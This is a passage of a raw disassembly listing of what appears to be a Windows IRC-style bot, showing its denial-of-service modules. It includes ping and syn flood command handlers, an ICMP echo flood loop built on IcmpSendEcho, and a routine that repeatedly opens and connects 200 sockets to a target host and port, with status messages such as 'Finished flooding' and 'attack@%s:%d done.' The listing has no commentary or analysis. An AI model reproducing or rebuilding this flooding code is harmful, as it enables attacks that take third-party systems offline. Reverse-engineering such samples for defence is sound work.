eax mov dword ptr [esp+44h], 3 call sub_4017EE lea ecx, [esi+0EAh] push eax push ecx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 0Eh push 19h push 13h push 4 push 13h push 4Fh push 13h push 0Fh push 4 lea edx, [esp+48h] push 4 push edx call sub_4019C4 add esp, 30h push esi mov ecx, eax mov dword ptr [esp+44h], 4 call sub_4017EE add esi, 8Eh push eax push esi mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+20h] mov [esp+40h], edi call sub_401226 mov ecx, [esp+38h] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 80h dup(0CCh) ; --------------------------------------------------------------------------- loc_426EC0: ; CODE XREF: ___:loc_401B81j push 0FFFFFFFFh push offset loc_43C9C4 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 34h push ebx push ebp push esi mov esi, [esp+50h] mov ebx, ecx push edi lea ebp, [esi+7Eh] lea ecx, [ebx+60h] mov [esp+54h], ebp call sub_4014DD push eax mov ecx, ebp call sub_4012EE mov edi, dword_511B14 test eax, eax jnz loc_427058 push 95h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+10h], eax xor ebp, ebp cmp eax, ebp mov [esp+4Ch], ebp jz short loc_426F2B mov ecx, eax call sub_401DF2 mov ebp, eax loc_426F2B: ; CODE XREF: ___:00426F20j push offset asc_444600 ; " " lea eax, [esp+18h] push 1 mov byte ptr [ebx+11Ch], 1 push eax mov ecx, esi mov dword ptr [esp+58h], 0FFFFFFFFh mov [ebp+91h], ebx call sub_4016B8 push eax lea ecx, [ebp+3Bh] mov dword ptr [esp+50h], 1 call sub_401FDC lea ecx, [esp+14h] mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea ecx, [esp+18h] push 2 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 2 call sub_4017EE push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+50h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea edx, [esp+18h] push 3 push edx mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 3 call sub_4017EE push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+54h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea eax, [esp+18h] push 4 push eax mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 4 call sub_4017EE push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+58h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 lea ecx, [esi+69h] push ecx lea ecx, [ebp+26h] call sub_401FDC mov dl, [esi+93h] mov ecx, ebp mov [ebp+8Fh], dl mov al, [esi+94h] mov [ebp+90h], al call sub_4013DE mov ebp, [esp+54h] loc_427058: ; CODE XREF: ___:00426F01j lea ecx, [ebx+8Eh] call sub_4014DD push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_4271CA push 95h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+10h], eax test eax, eax mov dword ptr [esp+4Ch], 5 jz short loc_42709B mov ecx, eax call sub_401BDB mov ebp, eax jmp short loc_42709D ; --------------------------------------------------------------------------- loc_42709B: ; CODE XREF: ___:0042708Ej xor ebp, ebp loc_42709D: ; CODE XREF: ___:00427099j push offset asc_444600 ; " " lea ecx, [esp+18h] push 1 push ecx mov byte ptr [ebx+11Ch], 1 mov ecx, esi mov dword ptr [esp+58h], 0FFFFFFFFh mov [ebp+91h], ebx call sub_4016B8 push eax lea ecx, [ebp+3Bh] mov dword ptr [esp+50h], 6 call sub_401FDC lea ecx, [esp+14h] mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea edx, [esp+18h] push 2 push edx mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 7 call sub_4017EE push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+50h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea eax, [esp+18h] push 3 push eax mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 8 call sub_4017EE push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+54h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea ecx, [esp+18h] push 4 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 9 call sub_4017EE push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+58h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 lea edx, [esi+69h] lea ecx, [ebp+26h] push edx call sub_401FDC mov al, [esi+93h] mov [ebp+8Fh], al mov cl, [esi+94h] mov [ebp+90h], cl mov ecx, ebp call sub_4013DE mov ebp, [esp+54h] loc_4271CA: ; CODE XREF: ___:0042706Dj lea ecx, [ebx+4] call sub_4014DD push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_427339 push 95h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+10h], eax test eax, eax mov dword ptr [esp+4Ch], 0Ah jz short loc_42720A mov ecx, eax call sub_40130C mov ebp, eax jmp short loc_42720C ; --------------------------------------------------------------------------- loc_42720A: ; CODE XREF: ___:004271FDj xor ebp, ebp loc_42720C: ; CODE XREF: ___:00427208j push offset asc_444600 ; " " lea edx, [esp+18h] push 1 mov byte ptr [ebx+11Ch], 1 push edx mov ecx, esi mov dword ptr [esp+58h], 0FFFFFFFFh mov [ebp+91h], ebx call sub_4016B8 push eax lea ecx, [ebp+3Bh] mov dword ptr [esp+50h], 0Bh call sub_401FDC lea ecx, [esp+14h] mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea eax, [esp+18h] push 2 push eax mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 0Ch call sub_4017EE push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+5Ch], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea ecx, [esp+18h] push 3 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 0Dh call sub_4017EE push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+60h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea edx, [esp+18h] push 4 push edx mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 0Eh call sub_4017EE push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+54h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 lea eax, [esi+69h] lea ecx, [ebp+26h] push eax call sub_401FDC mov cl, [esi+93h] mov [ebp+8Fh], cl mov dl, [esi+94h] mov ecx, ebp mov [ebp+90h], dl call sub_4013DE mov ebp, [esp+54h] loc_427339: ; CODE XREF: ___:004271DCj lea ecx, [ebx+32h] call sub_4014DD push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_4274E4 push 95h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+10h], eax test eax, eax mov dword ptr [esp+4Ch], 0Fh jz short loc_427379 mov ecx, eax call sub_40178F mov ebp, eax jmp short loc_42737B ; --------------------------------------------------------------------------- loc_427379: ; CODE XREF: ___:0042736Cj xor ebp, ebp loc_42737B: ; CODE XREF: ___:00427377j push offset asc_444600 ; " " lea eax, [esp+18h] push 1 mov byte ptr [ebx+11Ch], 1 push eax mov ecx, esi mov dword ptr [esp+58h], 0FFFFFFFFh mov [ebp+91h], ebx call sub_4016B8 push eax lea ecx, [ebp+3Bh] mov dword ptr [esp+50h], 10h call sub_401FDC lea ecx, [esp+14h] mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea ecx, [esp+18h] push 2 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 11h call sub_4017EE push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+5Ch], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea edx, [esp+18h] push 3 push edx mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 12h call sub_4017EE push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+60h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea eax, [esp+18h] push 4 push eax mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 13h call sub_4017EE push eax call edi ; atoi add esp, 4 lea ecx, [esp+14h] mov [ebp+54h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 push offset asc_444600 ; " " lea ecx, [esp+30h] push 5 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov dword ptr [esp+4Ch], 14h call sub_4017EE push eax call edi ; atoi add esp, 4 lea ecx, [esp+2Ch] mov [ebp+58h], eax mov dword ptr [esp+4Ch], 0FFFFFFFFh call sub_401226 lea edx, [esi+69h] lea ecx, [ebp+26h] push edx call sub_401FDC mov al, [esi+93h] mov [ebp+8Fh], al mov cl, [esi+94h] mov [ebp+90h], cl mov ecx, ebp call sub_4013DE mov ebp, [esp+54h] loc_4274E4: ; CODE XREF: ___:0042734Bj lea ecx, [ebx+0EAh] call sub_4014DD push eax mov ecx, ebp call sub_4012EE test eax, eax jnz short loc_427501 mov [ebx+11Ch], al loc_427501: ; CODE XREF: ___:004274F9j mov ecx, [esp+44h] pop edi pop esi pop ebp mov al, 1 pop ebx mov large fs:0, ecx add esp, 40h retn 4 ; --------------------------------------------------------------------------- db 8 dup(90h) db 1A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4276C0 proc near ; CODE XREF: sub_401A78j var_4 = dword ptr -4 push ecx mov edx, dword_449A04 push esi mov esi, ecx mov eax, [esi+91h] mov ecx, [eax+118h] cmp edx, ecx jl short loc_4276E1 inc ecx mov [eax+118h], ecx loc_4276E1: ; CODE XREF: sub_4276C0+18j mov eax, [esi] mov ecx, esi call dword ptr [eax+8] mov eax, [esi+91h] mov [esp+8+var_4], esi mov ecx, [eax+118h] dec ecx mov [eax+118h], ecx lea ecx, [esp+8+var_4] push ecx mov ecx, offset byte_4E8E9B call sub_40120D sub_4276C0 endp ; --------------------------------------------------------------------------- xor eax, eax pop esi pop ecx retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427740 proc near ; CODE XREF: sub_40130Cj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_427740 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F9B push offset aPing ; "ping" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43F0DC call sub_4015E1 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_427740 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4277B0 proc near ; CODE XREF: sub_401F9Bj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4277B0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401E88 lea ecx, [esi+11h] mov [esp+14h+var_4], 0 call sub_40142E lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_40142E lea ecx, [esi+3Bh] mov byte ptr [esp+14h+var_4], 2 call sub_40142E lea ecx, [esi+64h] mov byte ptr [esp+14h+var_4], 3 call sub_40142E lea ecx, [esi+79h] mov byte ptr [esp+14h+var_4], 4 call sub_40142E mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F0EC mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_4277B0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427850 proc near ; CODE XREF: sub_4014CEj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_427850 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi mov dword ptr [esi], offset off_43F0EC lea ecx, [esi+79h] mov [esp+14h+var_4], 4 call sub_401226 lea ecx, [esi+64h] mov byte ptr [esp+14h+var_4], 3 call sub_401226 lea ecx, [esi+3Bh] mov byte ptr [esp+14h+var_4], 2 call sub_401226 lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+11h] mov byte ptr [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_40204F mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_427850 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_427910: ; CODE XREF: ___:loc_4016DBj ; ___:0040219Ej push esi mov esi, ecx call sub_4014CE test byte ptr [esp+8], 1 jz short loc_427928 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_427928: ; CODE XREF: ___:0042791Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427940 proc near ; CODE XREF: sub_4011FEj ___:0040209Fj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_4020AE test [esp+4+arg_0], 1 jz short loc_427958 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_427958: ; CODE XREF: sub_427940+Dj mov eax, esi pop esi retn 4 sub_427940 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_427970 proc near ; CODE XREF: sub_4020AEj jmp sub_4014CE sub_427970 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427990 proc near ; CODE XREF: sub_401A50j var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_427990 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push ebp push esi mov esi, ecx push edi mov eax, [esi+54h] mov ecx, [esi+60h] mov edx, [esi+5Ch] lea edi, [esi+3Bh] push eax push ecx push edx mov ecx, edi lea ebx, [esi+11h] lea ebp, [esi+26h] call sub_4017EE push eax mov ecx, ebx call sub_4017EE push eax push offset aSSUtimesUbytes ; "%s: %s (%utimes/%ubytes/%dms)" mov ecx, ebp call sub_4014DD mov cl, [esi+8Fh] push eax mov al, [esi+90h] push eax push ecx push offset byte_4D8075 call sub_401857 add esp, 28h lea ecx, [esp+34h+var_24] call sub_40142E mov edx, [esi+54h] mov eax, [esi+60h] mov ecx, [esi+5Ch] push edx push eax push ecx mov ecx, edi mov [esp+40h+var_4], 0 call sub_4014DD push eax call sub_40183E add esp, 10h test eax, eax jz short loc_427A54 mov edx, [esi+5Ch] mov ecx, edi push edx call sub_4017EE push eax mov ecx, ebx call sub_4017EE push eax lea eax, [esp+40h+var_24] push offset aSFinishedFlood ; "[%s] Finished flooding %s %d Times" push eax call sub_40102D add esp, 14h jmp short loc_427A6E ; --------------------------------------------------------------------------- loc_427A54: ; CODE XREF: sub_427990+9Aj mov ecx, ebx call sub_4017EE push eax lea ecx, [esp+38h+var_24] push offset aSCannotSendPin ; "[%s] Cannot send pings - Doesn't have D"... push ecx call sub_40102D add esp, 0Ch loc_427A6E: ; CODE XREF: sub_427990+C2j lea ecx, [esp+34h+var_24] call sub_4017EE push eax mov ecx, ebp call sub_4014DD mov dl, [esi+90h] push eax mov al, [esi+8Fh] push edx push eax push offset byte_4D8075 call sub_401857 add esp, 14h lea ecx, [esp+34h+var_24] mov [esp+34h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+34h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 24h retn sub_427990 endp ; --------------------------------------------------------------------------- db 90h db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427B10 proc near ; CODE XREF: sub_401E9Cj var_1A = byte ptr -1Ah var_18 = byte ptr -18h arg_0 = byte ptr 4 arg_FFE0 = dword ptr 0FFE4h arg_FFE4 = dword ptr 0FFE8h arg_FFE8 = dword ptr 0FFECh arg_FFEC = dword ptr 0FFF0h mov eax, 0FFFCh call sub_437B30 push esi push edi push offset aIcmp_dll ; "ICMP.DLL" nop call near ptr 27F088Ah mov esi, eax test esi, esi jz short loc_427B7A mov edi, dword_511918 push offset aIcmpcreatefile ; "IcmpCreateFile" push esi call edi push offset aIcmpclosehandl ; "IcmpCloseHandle" push esi mov dword_51011C, eax call edi push offset aIcmpsendecho ; "IcmpSendEcho" push esi mov dword_510120, eax call edi mov ecx, dword_51011C mov dword_510118, eax test ecx, ecx jz short loc_427B7A mov edx, dword_510120 test edx, edx jz short loc_427B7A test eax, eax jz short loc_427B7A mov al, [esp+0Bh] test al, al jz short loc_427B85 loc_427B7A: ; CODE XREF: sub_427B10+1Bj ; sub_427B10+52j ... pop edi xor eax, eax pop esi add esp, 0FFFCh retn ; --------------------------------------------------------------------------- loc_427B85: ; CODE XREF: sub_427B10+68j mov edx, [esp+24h+arg_FFE8] mov eax, 0FFDCh cmp edx, eax jle short loc_427B9C mov [esp+24h+arg_FFE8], eax loc_427B9C: ; CODE XREF: sub_427B10+83j push ebx push ebp mov ebp, [esp+2Ch+arg_FFEC] cmp ebp, 1 jge short loc_427BAF mov ebp, 1 loc_427BAF: ; CODE XREF: sub_427B10+98j call ecx ; IcmpCreateFile mov ebx, [esp+2Ch+arg_FFE4] xor esi, esi test ebx, ebx mov edi, eax jle short loc_427BF4 loc_427BC0: ; CODE XREF: sub_427B10+E2j mov al, byte_4D84B9 test al, al jz short loc_427BF4 mov ecx, [esp+2Ch+arg_FFE8] push ebp lea eax, [esp+30h+var_18] push 1Ch push eax mov eax, [esp+38h+arg_FFE0] push 0 lea edx, [esp+3Ch+arg_0] push ecx push edx push eax push edi call dword_510118 ; IcmpSendEcho inc esi cmp esi, ebx jl short loc_427BC0 loc_427BF4: ; CODE XREF: sub_427B10+AEj ; sub_427B10+B7j push edi call dword_510120 ; IcmpCloseHandle pop ebp pop ebx pop edi mov eax, 1 pop esi add esp, 0FFFCh retn sub_427B10 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 5 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427C50 proc near ; CODE XREF: sub_40183Ej arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_0] push eax call sub_40188E mov ecx, [esp+4+arg_C] mov edx, [esp+4+arg_8] push ecx mov ecx, [esp+8+arg_4] push edx push ecx push eax call sub_401E9C add esp, 14h retn sub_427C50 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427C90 proc near ; CODE XREF: sub_401BDBj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_427C90 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F9B push offset aForsyn ; "forsyn" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset nullsub_10 call sub_4015E1 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_427C90 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_427D00: ; CODE XREF: ___:00401A28j ; ___:00401AC3j push esi mov esi, ecx call sub_401807 test byte ptr [esp+8], 1 jz short loc_427D18 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_427D18: ; CODE XREF: ___:00427D0Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_427D30 proc near ; CODE XREF: sub_401807j jmp sub_4014CE sub_427D30 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427D50 proc near ; CODE XREF: sub_401366j var_28 = dword ptr -28h var_24 = byte ptr -24h var_1C = dword ptr -1Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_427D50 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx mov ebx, ecx xor eax, eax mov ecx, offset byte_4E7D8F mov [esp+2Ch+var_28], eax loc_427D76: ; CODE XREF: sub_427D50+35j cmp dword ptr [ecx], 0 jz short loc_427D87 add ecx, 78h inc eax cmp ecx, offset byte_4E86EF jl short loc_427D76 loc_427D87: ; CODE XREF: sub_427D50+29j cmp eax, 13h mov [esp+2Ch+var_28], eax jg loc_427F39 lea eax, [eax+eax*2] push ebp push esi push edi lea eax, [eax+eax*4] lea ecx, [ebx+3Bh] lea ebp, ds:4E7D1Bh[eax*8] call sub_4017EE mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov cx, [ebx+58h] push ecx nop call near ptr 71AB2B66h and eax, 0FFFFh mov [ebp+64h], eax mov eax, [ebx+54h] cmp eax, 5 mov [ebp+68h], eax jge short loc_427DF0 mov dword ptr [ebp+68h], 5 loc_427DF0: ; CODE XREF: sub_427D50+97j mov edx, [ebx+50h] mov ecx, 80h xor eax, eax mov edi, offset dword_510128 mov [ebp+6Ch], edx lea esi, [ebx+11h] rep stosd mov eax, [ebx+50h] mov ecx, [ebx+58h] push eax push ecx lea ecx, [ebx+3Bh] lea edi, [ebx+26h] call sub_4017EE push eax mov ecx, esi call sub_4017EE push eax push offset aSSUDseconds ; "%s: %s:%u (%dseconds)" mov ecx, edi call sub_4014DD mov dl, [ebx+90h] push eax mov al, [ebx+8Fh] push edx push eax push offset byte_4D8075 call sub_401857 mov ecx, [esp+50h+var_1C] add esp, 24h push offset dword_510328 push 0 push ecx push offset sub_4012C1 push 0 push 0 nop call near ptr 27A0000h test eax, eax mov dword_51032C, eax jz short loc_427E8B push offset dword_448F34 push 5 push eax push 0 push offset dword_510128 call sub_4013F2 add esp, 14h mov [ebp+70h], eax jmp short loc_427EBB ; --------------------------------------------------------------------------- loc_427E8B: ; CODE XREF: sub_427D50+11Dj mov ecx, esi call sub_4017EE push eax push offset aSErrorCreating ; "%s: error creating threads" mov ecx, edi call sub_4014DD mov dl, [ebx+90h] push eax mov al, [ebx+8Fh] push edx push eax push offset byte_4D8075 call sub_401857 add esp, 18h loc_427EBB: ; CODE XREF: sub_427D50+139j lea ecx, [esp+38h+var_24] call sub_40142E mov ecx, [ebx+58h] mov [esp+38h+var_4], 0 push ecx lea ecx, [ebx+3Bh] call sub_4017EE push eax mov ecx, esi call sub_4017EE push eax lea edx, [esp+44h+var_24] push offset aSAttack@SDDone ; "%s: attack@%s:%d done." push edx call sub_40102D add esp, 14h lea ecx, [esp+38h+var_24] call sub_4017EE push eax push offset aS ; "%s" mov ecx, edi call sub_4014DD mov cl, [ebx+8Fh] push eax mov al, [ebx+90h] push eax push ecx push offset byte_4D8075 call sub_401857 add esp, 18h lea ecx, [esp+38h+var_24] mov [esp+38h+var_4], 0FFFFFFFFh call sub_401226 pop edi pop esi pop ebp loc_427F39: ; CODE XREF: sub_427D50+3Ej mov ecx, [esp+2Ch+var_C] pop ebx mov large fs:0, ecx add esp, 28h retn sub_427D50 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_427FD0 proc near ; CODE XREF: sub_4012C1j var_338 = dword ptr -338h var_334 = dword ptr -334h var_330 = dword ptr -330h var_32C = dword ptr -32Ch var_328 = dword ptr -328h var_324 = dword ptr -324h var_320 = byte ptr -320h arg_0 = dword ptr 4 sub esp, 338h mov eax, [esp+338h+arg_0] push ebp push esi mov esi, 1 lea eax, [eax+eax*2] lea eax, [eax+eax*4] lea ebp, ds:4E7D1Bh[eax*8] xor eax, eax mov [esp+340h+var_334], eax mov word ptr [esp+340h+var_334], 2 mov [ebp+74h], esi mov cx, [ebp+64h] mov [esp+340h+var_330], eax push ecx mov [esp+344h+var_32C], eax mov [esp+344h+var_328], eax nop call near ptr 71AB2B66h push ebp mov [esp+344h+var_324], esi mov word ptr [esp+344h+var_334+2], ax nop call near ptr 71AB2BF4h cmp eax, 0FFFFFFFFh jnz short loc_428066 push ebp nop call near ptr 71AB4FD4h xor edx, edx cmp eax, edx jnz short loc_42805F mov [ebp+74h], edx mov ecx, [ebp+70h] pop esi pop ebp lea eax, [ecx+ecx*4] shl eax, 4 sub eax, ecx lea eax, [eax+eax*4] mov dword_4D8735[eax*2], edx xor eax, eax add esp, 338h retn 4 ; --------------------------------------------------------------------------- loc_42805F: ; CODE XREF: sub_427FD0+68j mov ecx, [eax+0Ch] mov edx, [ecx] mov eax, [edx] loc_428066: ; CODE XREF: sub_427FD0+5Bj mov [esp+340h+var_330], eax mov eax, [ebp+6Ch] push ebx push edi test eax, eax mov [esp+348h+var_338], 0 jle loc_428116 mov ebx, dword_511C3C loc_428085: ; CODE XREF: sub_427FD0+140j mov al, byte_4D84B9 test al, al jz loc_428116 lea esi, [esp+348h+var_320] mov edi, 0C8h loc_42809B: ; CODE XREF: sub_427FD0+EFj push 0 push 1 push 2 call ebx ; socket cmp eax, 0FFFFFFFFh mov [esi], eax jz short loc_4280BB lea ecx, [esp+348h+var_324] push ecx push 8004667Eh push eax nop call near ptr 71AB4519h loc_4280BB: ; CODE XREF: sub_427FD0+D8j add esi, 4 dec edi jnz short loc_42809B lea esi, [esp+348h+var_320] mov edi, 0C8h loc_4280CA: ; CODE XREF: sub_427FD0+10Ej mov eax, [esi] lea edx, [esp+348h+var_334] push 10h push edx push eax nop call near ptr 71AB406Ah add esi, 4 dec edi jnz short loc_4280CA mov ecx, [ebp+68h] push ecx nop call near ptr 2850369h lea esi, [esp+348h+var_320] mov edi, 0C8h loc_4280F3: ; CODE XREF: sub_427FD0+130j mov edx, [esi] push edx call near ptr 71AB9639h nop add esi, 4 dec edi jnz short loc_4280F3 mov eax, [esp+348h+var_338] mov ecx, [ebp+6Ch] inc eax cmp eax, ecx mov [esp+348h+var_338], eax jl loc_428085 loc_428116: ; CODE XREF: sub_427FD0+A9j ; sub_427FD0+BCj xor edx, edx pop edi mov [ebp+74h], edx mov ecx, [ebp+70h] pop ebx pop esi lea eax, [ecx+ecx*4] pop ebp shl eax, 4 sub eax, ecx lea eax, [eax+eax*4] mov dword_4D8735[eax*2], edx xor eax, eax add esp, 338h retn 4 sub_427FD0 endp ; --------------------------------------------------------------------------- db 90h db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4281A0 proc near ; CODE XREF: sub_401DF2j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4281A0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F9B push offset aSyn ; "syn" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43F10C call sub_4015E1 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_4281A0 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_428210 proc near ; CODE XREF: ___:004016E5j sub_40182Aj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_4010FF test [esp+4+arg_0], 1 jz short loc_428228 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_428228: ; CODE XREF: sub_428210+Dj mov eax, esi pop esi retn 4 sub_428210 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_428240 proc near ; CODE XREF: sub_4010FFj jmp sub_4014CE sub_428240 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_428260 proc near ; CODE XREF: sub_401EB0j var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_428260 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push ebp push esi mov esi, ecx push edi mov eax, [esi+54h] mov ecx, [esi+50h] mov edx, [esi+58h] lea edi, [esi+3Bh] push eax push ecx push edx mov ecx, edi lea ebx, [esi+11h] 